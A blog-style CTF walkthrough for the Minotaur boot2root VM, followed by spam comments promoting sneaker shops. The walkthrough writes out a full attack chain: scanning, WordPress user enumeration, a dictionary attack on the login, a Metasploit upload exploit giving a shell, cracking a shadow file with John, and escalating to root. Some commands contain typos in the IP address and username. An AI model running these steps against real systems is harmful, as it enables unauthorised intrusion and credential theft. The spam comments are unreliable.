Hack the Minotaur VM (CTF Challenge)

Minotaur is a Boot2Root CTF challenge which helps us improve our skills especially of password cracking. The VM will assign itself a specific IP address (in the 192.168.56.0/24 range). Do not change this, as the CTF will not work properly without an IP address of 192.168.56. We know to think about it i.e.:
  • One password you will need is not on rockyou.txt or any other wordlist you may have out there. So you need to think of a way to generate it yourself.
  • This CTF has a couple of fairly heavy password cracking challenges, and some red herrings.
WalkThrough
We will start off by nmap because we already our target IP.
nmap -p- -A 192.168.56.223
As a result of nmap we can see that the port numbers: 22, 80, 2020 are open. We can use port 22 and 80 to our advantage.
Now we tried to explore through nikto and curl but unfortunately we found nothing of use. So we decided to use dirbuster.
Go to the terminal of kali and type :
dirbuster
It will open the dirbuster. In it, give the url in the Target URL box and select directory-list-2.3-medium.txt file in the File with list of dir box.

It will show you the directory called /bull/

Open the said directory in your browser.

It will show that there is a blog made in WordPress.  As the blog is in wordpress we can apply WPScan to find usernames and vulnerable themes and plung-ins. To apply WPScan type:

wpscan -u http://192.168.56.223/bull/ –enumerate u

The command will start executing and it will show you all the plug-ins that is exploitable along with usernames.

As you can see that there is only one user with the username bully. Also, there is plug-in exploit for Slideshow Gallery. But we will require username and password to make this exploit work. Now we already have username and all we need is its password and we have no idea where to find it as we have no dictionary or password file. Therefore we will make a password file using ceWL.
CeWL is a ruby app which traverses a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password cracking. To make a password file from CeWL go to your terminal of your kali and type:
cewl http://192.168.56.223/bull -m 3 -w /root/Desktop/pass.txt
This will create a .txt with list of all the words that have a possibility to be the password for the username bully.
Now to find which its password is we will use BurpSuite. So, apply dictionary attack using burpsuite and the moment it will find the correct password it will change it value of length as shown below:
Now that we know username and password we can use that exploit for the plug-in. And to do so open metasploit and type:
use exploit/unix/webapp/wp_slideshowgallery_upload
set rhost 19.168.56.223
set rport 80
set targeturi /bull/
set wp_user buly
set wp_password Bighornedbulls
exploit
 As the exploit will run it will give you the session of meterpreter. Furthermore type,
shell
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
Execution of the above commands will take you to the terminal of your target. Then moving forward enter the /var/www/html folder and type :
ls -lsa
We found a flag here, let’s read it.
cat flag.txt
Then we went into /tmp folder and rread the flag there:
cd /tmp
ls -lsa
cat flag.txt
Now we found two flags but they were not the main flags and also we got a hint that shadow.bak file could be useful to us. Let’s have look in it.
cat shadow.bak

We will take help of John password cracker to find the passwords:
john shadow.bak

We found the passwords for both heffer and minotaur. Please recall that port number 22 i.e. for ssh was open and we can use it to log in and for this type:
ssh heffer@192.168.56.223
Give the password when asked and further check its directories:
ls -lsa
We found a flag here. Read it.
cat flag.txt
Now in the flag we found another flag along with a hint indicating that the flag is Minotaur. Now we will log in through SSH using minotaur:
ssh minotaur@192.168.56.223
Give the password when asked. And then check for directories:
ls -lsa
There is another flag available. Again read it.
cat flag.txt

Now, we have finally found the first flag along with another hint that is the final flag is in /root/flag.txt
Moving on, type the following to gain admin access and switch user :
sudo su
cd ..
cd ..
This will take you into the home folder. Here, type :
cd root
ls -lsa
FInally we have fouond the last flag.
cat flag.txt

WOOHOO!!! The flag is captured. Congrats and enjoy!!

Author: Yashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast

Comments

  • Adidas NMD R1 Footlocker Exclusive Black Red White
    Trả lời

    WONDERFUL Post.thanks for share..more wait .. ?

  • adidas ultra boost 3.0
    Trả lời

    Thank you so much for providing individuals with an exceptionally terrific opportunity to read critical reviews from this blog. It really is so superb and also jam-packed with a good time for me and my office fellow workers to search your web site minimum thrice in one week to read through the fresh stuff you have got. Of course, I’m also usually contented considering the striking tips served by you. Certain two points on this page are essentially the finest I’ve had.
    adidas ultra boost 3.0 http://bit.ly/2sfAXQs

  • adidas yeezy boost
    Trả lời

    A lot of thanks for all of your effort on this site. My aunt enjoys carrying out internet research and it’s easy to see why. I know all of the powerful means you render great secrets by means of this web blog and as well as boost contribution from visitors about this matter plus our own daughter is certainly studying a great deal. Take pleasure in the remaining portion of the new year. You’re conducting a glorious job.
    adidas yeezy boost http://urlr.be/short/yzyboost

  • Adidas Originals NMD Runner Primeknit Sneakers Orange Red
    Trả lời

    It is best to take part in a contest for one of the best blogs on the web. I will recommend this site!

  • adidas eqt support adv
    Trả lời

    I wish to point out my appreciation for your kind-heartedness supporting folks that need help on the field. Your personal commitment to getting the message all around appeared to be unbelievably productive and has in most cases empowered regular people like me to arrive at their endeavors. Your amazing invaluable information indicates a lot a person like me and especially to my fellow workers. Thank you; from all of us.
    adidas eqt support adv http://www.adidaseqts.com

  • retro jordans
    Trả lời

    I want to show appreciation to you for bailing me out of this type of circumstance. Right after scouting throughout the the net and obtaining principles which were not powerful, I believed my life was well over. Living devoid of the solutions to the problems you’ve resolved all through the posting is a serious case, as well as the kind which may have adversely affected my entire career if I hadn’t noticed your web page. Your primary knowledge and kindness in dealing with all the stuff was very helpful. I don’t know what I would’ve done if I hadn’t encountered such a step like this. I can also at this time relish my future. Thanks for your time so much for your skilled and effective help. I will not be reluctant to refer the sites to any person who needs and wants guide about this situation.
    retro jordans http://www.jordan-retro.us.com